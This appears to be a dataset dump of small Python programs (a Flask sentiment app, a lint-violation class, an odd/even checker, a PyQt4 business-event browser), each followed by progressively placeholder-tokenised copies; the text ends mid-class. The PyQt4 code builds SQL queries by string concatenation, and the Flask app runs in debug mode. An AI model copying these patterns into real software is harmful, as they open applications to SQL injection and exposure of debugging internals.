"import spacy\nfrom vaderSentiment import vaderSentiment\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\napp = Flask(__name__)\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"<import token>\n<assignment token>\n\n\[email protected]('/')\ndef hello():\n return render_template('index.html')\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n\n\[email protected]('/', methods=['POST'])\ndef func():\n st = request.form['review']\n if st == '':\n return render_template('index.html')\n english = spacy.load('en_core_web_sm')\n result = english(st)\n sentences = [str(s) for s in result.sents]\n analyzer = vaderSentiment.SentimentIntensityAnalyzer()\n sentiment = [analyzer.polarity_scores(str(s)) for s in sentences]\n if sentiment[0]['compound'] >= 0.05:\n sent = 'Positive '\n emoji = 128512\n address = (\n ' https://st.depositphotos.com/1016482/2236/i/950/depositphotos_22362437-stock-photo-background-with-heap-of-yellow.jpg'\n )\n elif sentiment[0]['compound'] <= -0.05:\n sent = 'Negative '\n emoji = 128577\n address = (\n 'https://www.ecopetit.cat/wpic/mpic/270-2706765_sad-emoji-cover-photo-for-fb.jpg '\n )\n else:\n sent = 'Neutral '\n emoji = 128528\n address = (\n 'https://atlas-content-cdn.pixelsquid.com/stock-images/neutral-face-facial-expression-L63Mrq1-600.jpg '\n )\n return render_template('output.html', sentence=st, sent=sent, emoji=\n emoji, address=address)\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\[email protected]('/new.html')\ndef new():\n return render_template('new.html')\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n\n\[email protected]('/fu.html')\ndef result():\n return render_template('fu.html')\n\n\n<function token>\n<code token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n"
] | false |
9,989 |
c513ad6ef12ae7be5d17d8d44787691cbc065207
|
class Violation(object):
def __init__(self, line, column, code, message):
self.line = line
self.column = column
self.code = code
self.message = message
def __str__(self):
return self.message
def __repr__(self):
return 'Violation(line={}, column={}, code="{}", message="{}")'.format(
self.line, self.column, self.code, self.message)
|
[
"class Violation(object):\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n\n def __str__(self):\n return self.message\n\n def __repr__(self):\n return 'Violation(line={}, column={}, code=\"{}\", message=\"{}\")'.format(\n self.line, self.column, self.code, self.message)\n",
"class Violation(object):\n\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n\n def __str__(self):\n return self.message\n\n def __repr__(self):\n return 'Violation(line={}, column={}, code=\"{}\", message=\"{}\")'.format(\n self.line, self.column, self.code, self.message)\n",
"class Violation(object):\n\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n\n def __str__(self):\n return self.message\n <function token>\n",
"class Violation(object):\n\n def __init__(self, line, column, code, message):\n self.line = line\n self.column = column\n self.code = code\n self.message = message\n <function token>\n <function token>\n",
"class Violation(object):\n <function token>\n <function token>\n <function token>\n",
"<class token>\n"
] | false |
9,990 |
382bc321c5fd35682bc735ca4d6e293d09be64ec
|
#função: Definir se o número inserido é ímpar ou par
#autor: João Cândido
p = 0
i = 0
numero = int(input("Insira um número: "))
if numero % 2 == 0:
p = numero
print (p, "é um número par")
else:
i = numero
print (i, "é um número ímpar")
|
[
"#função: Definir se o número inserido é ímpar ou par\n#autor: João Cândido\n\np = 0\ni = 0\n\nnumero = int(input(\"Insira um número: \"))\n\nif numero % 2 == 0:\n\tp = numero\n\tprint (p, \"é um número par\")\nelse:\n\ti = numero\n\tprint (i, \"é um número ímpar\")",
"p = 0\ni = 0\nnumero = int(input('Insira um número: '))\nif numero % 2 == 0:\n p = numero\n print(p, 'é um número par')\nelse:\n i = numero\n print(i, 'é um número ímpar')\n",
"<assignment token>\nif numero % 2 == 0:\n p = numero\n print(p, 'é um número par')\nelse:\n i = numero\n print(i, 'é um número ímpar')\n",
"<assignment token>\n<code token>\n"
] | false |
9,991 |
8339113fd6b0c286cc48ec04e6e24978e2a4b44e
|
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'KPS_RevisitBusinessEvents.ui'
#
# Created: Sun May 18 14:50:49 2014
# by: PyQt4 UI code generator 4.10.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui, QtSql
import sqlite3
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8("Form"))
Form.resize(666, 538)
palette = QtGui.QPalette()
self.eventSkip = 0;
self.db = Database()
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
self.inWork = True
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
Form.setPalette(palette)
self.tb_EventViewer = QtGui.QTableView(Form)
self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))
self.tb_EventViewer.setObjectName(_fromUtf8("tb_EventViewer"))
self.tb_EventViewer.horizontalHeader().setVisible(False)
self.tb_EventViewer.verticalHeader().setVisible(False)
# self.tb_EventViewer.setColumnCount(0)
# self.tb_EventViewer.setRowCount(0)
self.bt_Earlier = QtGui.QPushButton(Form)
self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))
self.bt_Earlier.setObjectName(_fromUtf8("bt_Earlier"))
self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)
self.bt_Later = QtGui.QPushButton(Form)
self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))
self.bt_Later.setObjectName(_fromUtf8("bt_Later"))
self.bt_Later.clicked.connect(self.clicked_bt_Later)
self.label = QtGui.QLabel(Form)
self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush)
self.label.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Segoe UI Light"))
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8("label"))
self.cb_EventType = QtGui.QComboBox(Form)
self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))
self.cb_EventType.setObjectName(_fromUtf8("cb_EventType"))
self.cb_EventType.currentIndexChanged['QString'].connect(self.handleChanged)
self.label_2 = QtGui.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))
self.label_3 = QtGui.QLabel(Form)
self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)
self.label_2.setPalette(palette)
self.label_3.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Segoe UI"))
font.setPointSize(12)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
self.initialize()
def retranslateUi(self, Form):
Form.setWindowTitle(_translate("Form", "Revisit business events", None))
self.bt_Earlier.setText(_translate("Form", "<<", None))
self.bt_Later.setText(_translate("Form", ">>", None))
self.label.setText(_translate("Form", "Revisit business events", None))
self.label_2.setText(_translate("Form", "Select Event Type", None))
def initialize(self):
self.cb_EventType.addItems(self.getBusinessEventsType())
# self.cb_Destination.addItems(RH.getLocations())
def getBusinessEventsType(self):
conn = sqlite3.connect("../Database/Business.db")
conn.text_factory = str
c = conn.cursor()
c.execute('SELECT Event FROM EventTypes')
locs = [r[0] for r in c.fetchall()]
conn.close()
return locs
def handleChanged(self, text):
modelView = QtGui.QStandardItemModel()
query = QtSql.QSqlQuery()
query.exec_("Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ",1")
recCount = 0;
while query.next():
recCount = recCount + 1
if query.value(2).toString() != '':
query_Origin = QtSql.QSqlQuery()
query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1")
query_Origin.next()
modelInputItem = QtGui.QStandardItem("Origin")
modelInputValue = QtGui.QStandardItem(query_Origin.value(0).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(3).toString() != '':
query_Destination = QtSql.QSqlQuery()
query_Destination.exec_("Select Name from Cities where ID = '" + query.value(3).toString() + "' LIMIT 1")
query_Destination.next()
modelInputItem = QtGui.QStandardItem("Destination")
modelInputValue = QtGui.QStandardItem(query_Destination.value(0).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(4).toString() != '':
modelInputItem = QtGui.QStandardItem("Weight")
modelInputValue = QtGui.QStandardItem(query.value(4).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(5).toString() != '':
modelInputItem = QtGui.QStandardItem("Volume")
modelInputValue = QtGui.QStandardItem(query.value(5).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(6).toString() != '':
modelInputItem = QtGui.QStandardItem("Time of Entry")
modelInputValue = QtGui.QStandardItem(query.value(6).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(7).toString() != '':
modelInputItem = QtGui.QStandardItem("Priority")
modelInputValue = QtGui.QStandardItem(query.value(7).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(8).toString() != '':
modelInputItem = QtGui.QStandardItem("Price Per Gram")
modelInputValue = QtGui.QStandardItem(query.value(8).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(9).toString() != '':
modelInputItem = QtGui.QStandardItem("Price Per CC")
modelInputValue = QtGui.QStandardItem(query.value(9).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(10).toString() != '':
modelInputItem = QtGui.QStandardItem("Company")
modelInputValue = QtGui.QStandardItem(query.value(10).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(11).toString() != '':
modelInputItem = QtGui.QStandardItem("Transport Type")
modelInputValue = QtGui.QStandardItem(query.value(11).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(12).toString() != '':
modelInputItem = QtGui.QStandardItem("Day of the Week")
modelInputValue = QtGui.QStandardItem(query.value(12).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(13).toString() != '':
modelInputItem = QtGui.QStandardItem("Frequency")
modelInputValue = QtGui.QStandardItem(query.value(13).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(14).toString() != '':
modelInputItem = QtGui.QStandardItem("Duration")
modelInputValue = QtGui.QStandardItem(query.value(14).toString())
modelView.appendRow([modelInputItem,modelInputValue])
#modelInputValue = QtGui.QStandardItem('Value')
# modelView.appendRow([modelInputItem,modelInputValue])
if recCount == 0:
self.label_3.setText(_translate("Form", "No Records found", None))
self.inWork = False
else:
self.label_3.setText(_translate("Form", "", None))
self.inWork = True
self.tb_EventViewer.setModel(modelView)
def clicked_bt_Earlier(self):
self.eventSkip = self.eventSkip + 1
self.handleChanged(self.cb_EventType.currentText())
def clicked_bt_Later(self):
if self.eventSkip > 0:
self.eventSkip = self.eventSkip - 1
self.handleChanged(self.cb_EventType.currentText())
class Database:
def __init__(self, parent = None):
self.data = QtSql.QSqlDatabase.addDatabase("QSQLITE")
self.data.setDatabaseName("../Database/Business.db")
self.data.open()
|
[
"# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'KPS_RevisitBusinessEvents.ui'\n#\n# Created: Sun May 18 14:50:49 2014\n# by: PyQt4 UI code generator 4.10.4\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui, QtSql\nimport sqlite3\n\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Form(object):\n \n \n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8(\"Form\"))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0;\n self.db = Database()\n \n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern) \n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n \n self.inWork = True\n \n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern) \n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n \n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n \n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n \n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n \n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8(\"tb_EventViewer\"))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n # self.tb_EventViewer.setColumnCount(0)\n # self.tb_EventViewer.setRowCount(0)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8(\"bt_Earlier\"))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n \n \n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8(\"bt_Later\"))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n \n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Segoe UI Light\"))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8(\"cb_EventType\")) \n self.cb_EventType.currentIndexChanged['QString'].connect(self.handleChanged) \n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n \n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n \n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Segoe UI\"))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8(\"label_2\"))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8(\"label_3\"))\n\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate(\"Form\", \"Revisit business events\", None))\n self.bt_Earlier.setText(_translate(\"Form\", \"<<\", None))\n self.bt_Later.setText(_translate(\"Form\", \">>\", None))\n self.label.setText(_translate(\"Form\", \"Revisit business events\", None))\n self.label_2.setText(_translate(\"Form\", \"Select Event Type\", None))\n \n \n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n # self.cb_Destination.addItems(RH.getLocations())\n \n def getBusinessEventsType(self):\n conn = sqlite3.connect(\"../Database/Business.db\")\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n \n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n\n query.exec_(\"Select * from BusinessEvents a, EventTypes b where b.Event = '\" + text + \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" + str(self.eventSkip) + \",1\")\n recCount = 0;\n \n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" + query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem(\"Origin\")\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\"Select Name from Cities where ID = '\" + query.value(3).toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem(\"Destination\")\n modelInputValue = QtGui.QStandardItem(query_Destination.value(0).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Weight\")\n modelInputValue = QtGui.QStandardItem(query.value(4).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Volume\")\n modelInputValue = QtGui.QStandardItem(query.value(5).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Time of Entry\")\n modelInputValue = QtGui.QStandardItem(query.value(6).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Priority\")\n modelInputValue = QtGui.QStandardItem(query.value(7).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Price Per Gram\")\n modelInputValue = QtGui.QStandardItem(query.value(8).toString())\n modelView.appendRow([modelInputItem,modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Price Per CC\")\n modelInputValue = QtGui.QStandardItem(query.value(9).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Company\")\n modelInputValue = QtGui.QStandardItem(query.value(10).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Transport Type\")\n modelInputValue = QtGui.QStandardItem(query.value(11).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Day of the Week\")\n modelInputValue = QtGui.QStandardItem(query.value(12).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Frequency\")\n modelInputValue = QtGui.QStandardItem(query.value(13).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem(\"Duration\")\n modelInputValue = QtGui.QStandardItem(query.value(14).toString())\n modelView.appendRow([modelInputItem,modelInputValue]) \n #modelInputValue = QtGui.QStandardItem('Value')\n # modelView.appendRow([modelInputItem,modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate(\"Form\", \"No Records found\", None))\n self.inWork = False\n else:\n self.label_3.setText(_translate(\"Form\", \"\", None))\n self.inWork = True\n \n self.tb_EventViewer.setModel(modelView)\n \n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n \n def clicked_bt_Later(self):\n if self.eventSkip > 0:\n self.eventSkip = self.eventSkip - 1 \n self.handleChanged(self.cb_EventType.currentText())\n \nclass Database:\n def __init__(self, 